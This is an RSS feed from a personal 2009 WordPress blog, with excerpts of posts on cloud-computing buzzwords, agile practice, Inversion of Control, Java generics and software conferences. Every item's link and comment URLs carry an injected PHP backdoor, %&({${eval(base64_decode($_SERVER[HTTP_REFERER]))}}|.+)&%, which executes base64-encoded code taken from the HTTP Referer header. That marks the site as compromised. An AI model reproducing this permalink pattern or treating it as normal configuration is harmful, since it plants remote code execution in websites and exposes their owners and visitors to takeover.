<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Muses et essais</title>
	<atom:link href="http://blog.guillaumebertrand.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.guillaumebertrand.com</link>
	<description>Muses and essays</description>
	<pubDate>Fri, 15 May 2009 15:58:05 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>(Ab)Use of the C-word (cloud)</title>
		<link>http://blog.guillaumebertrand.com/2009/05/15/abuse-of-the-c-word-cloud/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2009/05/15/abuse-of-the-c-word-cloud/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 15 May 2009 15:58:05 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Cloud]]></category>

		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/?p=80</guid>
		<description><![CDATA[
The more cloud architectures gather buzz, the more I am seeing all sorts of misuse of the c-word. From describing grid computing to confusing it with SaaS, people seem to see clouds everywhere, even in the clearest of skies!


The &#8220;Palme d&#8217;Or&#8221; should probably be given to a business acquaintance who&#8217;s been able to use the [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2009/05/15/abuse-of-the-c-word-cloud/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Software Craftmanship Conference 2009 report</title>
		<link>http://blog.guillaumebertrand.com/2009/03/04/software-craftmanship-conference-2009-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2009/03/04/software-craftmanship-conference-2009-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 21:26:47 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Agility]]></category>

		<category><![CDATA[Architecture]]></category>

		<category><![CDATA[Process]]></category>

		<category><![CDATA[Quality]]></category>

		<category><![CDATA[refactoring]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/?p=65</guid>
		<description><![CDATA[
The SC2009 was one of these conferences where you would leave with more questions than answers. And it feels good! All in all, I felt humbled by the quality of the sessions as much as that of the participants. Evidently, everyone there was very pleased to be present and you could feel it in the [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2009/03/04/software-craftmanship-conference-2009-report/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How not to present</title>
		<link>http://blog.guillaumebertrand.com/2009/01/20/how-not-to-present/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2009/01/20/how-not-to-present/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 12:26:45 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/?p=59</guid>
		<description><![CDATA[
I am a fan of Garr Reynolds&#8217; Presentation Zen for delivering good presentations to audiences, and I wish more people were, but this piece from McSweeney&#8217;s blog pretty much sums up any corporate presentation I have seen this far&#8230; in style!
]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2009/01/20/how-not-to-present/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Get your place to a FREE software development conference.</title>
		<link>http://blog.guillaumebertrand.com/2008/12/02/get-your-place-to-a-free-software-development-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/12/02/get-your-place-to-a-free-software-development-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 15:55:16 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Agility]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/?p=56</guid>
		<description><![CDATA[
OK, it&#8217;s probably a bit pushy to highlight the fact that the Software Craftmanship 2009 conference is free, but it&#8217;s the best I can do in terms of attention-grabbing headlines.


Now that you have actually started to read, I can go on and say that if you&#8217;re developer worth any of their salt and you can [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/12/02/get-your-place-to-a-free-software-development-conference/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Developers performance and random variation</title>
		<link>http://blog.guillaumebertrand.com/2008/09/08/developers-performance-and-random-variation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/09/08/developers-performance-and-random-variation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 18:58:29 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/09/08/developers-performance-and-random-variation/</guid>
		<description><![CDATA[
Is it possible to rank the relative performance of developers in a team without falling foul of random variation?
Ben Goldacre wrote a very interesting piece (as usual) in The Guardian this week-end (Sat 6 September edition) about the silliness of national &#8220;studies&#8221; which failed to take a vetted statistical sample before coming to any conclusion. [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/09/08/developers-performance-and-random-variation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Agile? Of course we are agile!</title>
		<link>http://blog.guillaumebertrand.com/2008/05/23/agile-of-course-we-are-agile/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/05/23/agile-of-course-we-are-agile/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 May 2008 12:18:40 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Agility]]></category>

		<category><![CDATA[Fun]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/05/23/agile-of-course-we-are-agile/</guid>
		<description><![CDATA[It seems that all companies these days are all doing &#8220;agile&#8221;. Here&#8217;s a pot-pourri collected recently from a few interviews and personnal experiences&#8230; 
Of course we are agile&#8230;

we are doing pair programming; that is, as long as each of the programmers work on their own computer&#8230; you know we wouldn&#8217;t want you to look like [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/05/23/agile-of-course-we-are-agile/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The case against Inversion of Control</title>
		<link>http://blog.guillaumebertrand.com/2008/04/03/the-case-against-inversion-of-control/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/04/03/the-case-against-inversion-of-control/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 22:00:02 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Architecture]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Quality]]></category>

		<category><![CDATA[Web/Tech]]></category>

		<category><![CDATA[refactoring]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/04/03/the-case-against-inversion-of-control/</guid>
		<description><![CDATA[Inversion of Control is a refactoring that rose to fame with the implementations of the likes of Spring or PicoContainer. This is a quite misunderstood feature of software design (notably its implications), but a rather often used one - mainly through the use of the above cited frameworks. This article is an attempt at debunking [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/04/03/the-case-against-inversion-of-control/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Depending on abstractions: a bad idea?</title>
		<link>http://blog.guillaumebertrand.com/2008/03/04/depending-on-abstractions-a-bad-idea/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/03/04/depending-on-abstractions-a-bad-idea/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 04 Mar 2008 14:53:58 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Architecture]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Quality]]></category>

		<category><![CDATA[Web/Tech]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/03/04/depending-on-abstractions-a-bad-idea/</guid>
		<description><![CDATA[I have seen my share of code where everything you are dealing with is an interface. And I have seen my share of bugs in this kind of code. While it is <a href="http://parlezuml.com/blog/?postid=487" title="demonstration of change propagation">proven practice</a> to <a href="http://davidhayden.com/blog/dave/archive/2005/06/27/1869.aspx" title="explanation of dependency inversion">depend on abstraction</a>, this is also a source of many common mistakes.]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/03/04/depending-on-abstractions-a-bad-idea/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Oracle Application Server - SNAFU</title>
		<link>http://blog.guillaumebertrand.com/2008/02/04/oracle-application-server-snafu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/02/04/oracle-application-server-snafu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 23:08:58 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[Web/Tech]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/02/04/oracle-application-server-snafu/</guid>
		<description><![CDATA[
A long time ago, I had had to deploy a J2EE application on Oracle Application Server/OC4J&#8230; I can&#8217;t remember which version it was but it doesn&#8217;t really matter because the issues I had then still exist today: the bloody thing doesn&#8217;t work out of the box, deals with my class loading scheme like it deals [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/02/04/oracle-application-server-snafu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fun with Java generics</title>
		<link>http://blog.guillaumebertrand.com/2008/01/31/fun-with-java-generics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.guillaumebertrand.com/2008/01/31/fun-with-java-generics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 31 Jan 2008 14:55:54 +0000</pubDate>
		<dc:creator>GB</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[Web/Tech]]></category>

		<guid isPermaLink="false">http://blog.guillaumebertrand.com/2008/01/31/fun-with-java-generics/</guid>
		<description><![CDATA[Playing around with Spring beans and Hibernate, combined with inheritance of my domain and service classes (not an easy ride, I can tell you), I was trying to implement a generic service to cater for CRUD operations while, at the same time, keeping Spring&#8217;s autowiring facilities at bay&#8230;
So far, no luck. But in the process [...]]]></description>
		<wfw:commentRss>http://blog.guillaumebertrand.com/2008/01/31/fun-with-java-generics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

